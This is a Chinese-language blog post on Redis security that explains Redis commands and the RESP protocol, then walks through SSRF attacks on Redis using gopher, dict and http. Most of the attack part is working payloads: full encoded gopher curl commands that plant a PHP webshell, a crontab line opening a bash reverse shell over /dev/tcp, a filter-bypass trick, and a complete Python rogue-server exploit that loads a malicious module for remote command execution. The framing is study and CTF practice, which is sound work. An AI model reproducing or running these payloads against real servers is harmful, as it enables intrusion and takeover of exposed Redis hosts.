Ricky's Blog


Redis安全学习
2021-02-06

Redis安全学习

简介

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

Redis默认端口为6379

Redis的命令

连接命令

本地连接:redis-cli(本地连接后,若存在密码使用AUTH pass进行验证)

远程连接:redis-cli -h host -p port [-a passwd](参数a可选项,如果是没有密码的则不需要)

键操作

设置键值对:set 键名 键值(例如:set atao xxx-->写入一个键名为atao、键值为xxx的内容,执行成功返回OK)

取出键值对:get 键名(例如:get atao-->取出键名为atao的键的键值,返回键中的键值)

删除键值对:del 键名(例如:del atao-->删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)

获取所有键值:keys *

清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)

同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)

其它操作

字符串:get xxx

连接:AUTH "password" 验证密码

复制指定键的一种方法: set tmp 1\nbitop xor res flag tmp

修改字符串:setrange flag 4 z

配置操作

Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。

设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)

Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读

Redis通信协议RESP

Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信。

RESP在Redis中用作请求-响应协议的方式如下:

- 客户端将命令作为RESP大容量字符串数组发送到Redis服务器。
- 服务器根据命令实现以RESP类型之一进行回复。

在RESP中,某些数据的类型取决于第一个字节:

- 对于简单字符串,答复的第一个字节为"+"

  格式:+字符串

  注意:字符串不能包含CR或者LF(不允许换行)

  eg:"+OK\r\n"

- 对于错误,回复的第一个字节为"-"

  格式:-错误前缀 错误信息\r\n

  注意:错误信息不能包含CR或者LF(不允许换行),Errors与Simple Strings相似,不同的是Errors会被当作异常看待

  eg:"-Errors unknow command 'foobar'\r\n"

- 对于整数,答复的第一个字节为":"

  格式::数字\r\n

  eg:":10\r\n"

- 对于批量字符串(大字符串类型Bulk Strings,长度限制512M),答复的第一个字节为"$"

  格式:$字符串的长度\r\n字符串\r\n

  注意:字符串不能包含CR或者LF(不允许换行)

  eg:"$7\r\npayload\r\n"

- 对于数组,回复的第一个字节为"*"

  格式:*数组元素个数\r\n其他类型(结尾不需要\r\n)

  注意:只有元素个数后面的\r\n是属于该数组的,结尾的\r\n一般是元素的

  eg:"*0\r\n"——空数组

    "*2\r\n$1\r\nA\r\n$3\r\ntao\r\n"——数组包含2个元素,分别为A和tao

    "*-1\r\n"——Null数组

通过上面所述的几种类型构造命令传给redis服务端,则服务端会返回相应的内容。

Gopher协议

语法格式

gopher://<host>:<port>/<gopher_path>_value
(host为IP地址;port为指定端口,没写的话默认为70端口;"_"是一种数据连接格式,任意字符都行;value为TCP数据流)

gopher支持多行。因此要在传输的数据前加一个无用字符。比如gopher://ip:port/_ 通常用_,并不是只能用_,gopher协议会将第一个字符"吃掉"。

如果发起为POST请求,回车换行使用%0D%0A;如果多个参数,参数之间的&也需要进行URL编码

GET请求
源码
<?php
$a = $_GET['a'];
echo "Hello!".$a; 
?>

下面是我们要请求的TCP数据流
GET /flag.php?a=ricky HTTP/1.1
Host: 192.168.159.131

转成url编码的格式(最后一句结尾也要%0d%0a,所以要加上)
%47%45%54%20%2f%66%6c%61%67%2e%70%68%70?%61%3d%72%69%63%6b%79%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70?%61%3d%72%69%63%6b%79%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:09:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html

a
Hello!ricky
0

POST请求
源码
<?php
$a = $_POST['a'];
echo "Hello!".$a; 
?>

用原来的方式进行请求
GET /flag.php HTTP/1.1
Host: 192.168.159.131

a=ricky
这样会报错,POST请求需要多加两个参数Content-Type和Content-Length

修改后为
POST /flag.php HTTP/1.1
Host: 192.168.159.131
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=ricky

转成url编码的格式(这次结尾不用加%0d%0a,因为最后是参数)
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%37%0d%0a%0d%0a%61%3d%72%69%63%6b%79

curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%37%0d%0a%0d%0a%61%3d%72%69%63%6b%79

返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:19:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html

a
Hello!ricky
0

Dict协议

在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过dict只能执行一条命令dict://0.0.0.0:6379/auth pass,所以无法用来攻击需要认证的redis

语法格式:dict:////:/(host为IP地址;port为指定端口;value为请求内容)

使用命令
curl -g "dict://127.0.0.1:6397/set:atao:xxx"

返回
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK

抓包看到的
CLIENT libcurl 7.68.0
set atao xxx
QUIT

第一行是代表发出的cli的工具和版本
第二行是执行我们请求的命令
第三行是自行退出
从这里我们就不难看出为啥dict不适合Redis认证的题目了,每次只能执行一条命令,执行完后还会退出,没有余力做别的操作
这里返回第一行报错了,应该是没有带参数而报错的

http协议

http如果使用存在crlf注入的方式,一样可以用http来攻击redishttp://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding

攻击方式

攻击需要认证的redis

在payload前加上%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

写webshell

set atao '<?php phpinfo();?>' //写入php代码
config set dir /var/www/html //修改数据库备份的目录
config set dbfilename shell.php //修改数据库备份的文件名
save //备份

上面是Redis需要执行的命令,但是我们是和SSRF一起使用的,所以这里配合Gopher协议一起使用, 通过抓包, Redis通信如下

RESP协议,下面是一个设置键值对和取键值对的操作
*3
$3
set
$5
atao1
$4
xxx1
+OK
*2
$3
get
$5
atao1
$4
xxx1

将上面的需要写入的内容通过RESP协议的格式进行更改
*3
$3
set
$4
atao
$18
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

然后在用url编码的格式进行传输
%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

返回
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
原因是Redis存在认证,如果没有认证的话使用上述方式即可,如果存在认证则需要先通过认证才可以进行操作

Redis认证命令为:AUTH password,修改成RESP协议格式如下(这里直接使用了自己Redis的密码,设置密码命令:config set requirepass password)
*2
$4
AUTH
$6
123456

curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
不知道为啥改成这个后,远程连接就上不了了。呜呜呜,要是有知道的师傅求解释一下,后来就改成本地打本地了

curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

返回
+OK 认证过
+OK 修改路径成功
+OK 修改文件名成功
+OK 写入键值对成功
+OK 保存成功

cat /var/www/html/shell.php
返回
REDIS0009�      redis-ver5.0.7�
�edis-bits�@�ctime�m�_used-mem��
 aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a
虽然存在乱码,但是php的代码是正常的

写crontab反弹shell(仅限centos)

*1
$8
flushall
*3
$3
set
$1
1
$64

*/1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

原理和写webshell一样,只是改成写crontab

flushall
set 1 "\n\n*/1 * * * * bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

转义绕过?截断

主要用于dict协议中,当dict协议要写入键值对,如:

dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>

接收到的内容
CLIENT libcurl 7.68.0
set atao <
QUIT
可以看到?以及后面的内容都没了

这里通过对<?等特殊符号进行转义绕过
dict://127.0.0.1:6379/set:atao:\x3c\x3fphp\x20phpinfo0x28\x29\x3b\x3f\x3e

一般用到的工具

redis-ssrf

redis-rogue-server

Redis主从复制

主从复制是指将一台redis服务器的数据,复制到其他redis服务器.前者称为主节点,后者称为从节点,数据复制单向,只能由主节点到从节点

这也是redis从ssrf到rce的核心:

通过主从复制,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE

过程分为三个阶段:连接建立阶段\数据同步阶段\命令传播阶段

从节点执行slaveof命令后,复制过程开始,分为六个阶段:

  1. 保存主节点信息
  2. 主从建立socker链接
  3. 发送ping命令
  4. 权限验证
  5. 同步数据集
  6. 命令持续复制

存在的问题

既然是异体机,跨主机就有可能数据存在各种问题

  • 如果数据延迟,导致读写不一致.采用监控偏移量offset的思想,如果offset超出范围直接切换回主节点上
  • 异步复制导致数据丢失的情况,要求主节点至少有n个从节点链接的时候才允许写入
  • 从节点故障可以允许主节点配置高于从节点,依然可用
  • 从节点断掉,主节点内存碎片率过高,redis提供debug reload的重启方式,在不影响主节点runid和offset情况下重启,同时避免消耗资源的全量复制
  • 主节点宕机重启时,可以采用树状,将开销交给位于中间层的从节点,从而减轻主节点的消耗

加载恶意文件

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中

运行rogue server

exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return

def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

主从复制只是做简要了解, 需要详细步骤请跳转参考文献

参考文献

Redis安全问题

ssrf与redis安全

redis主从复制

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部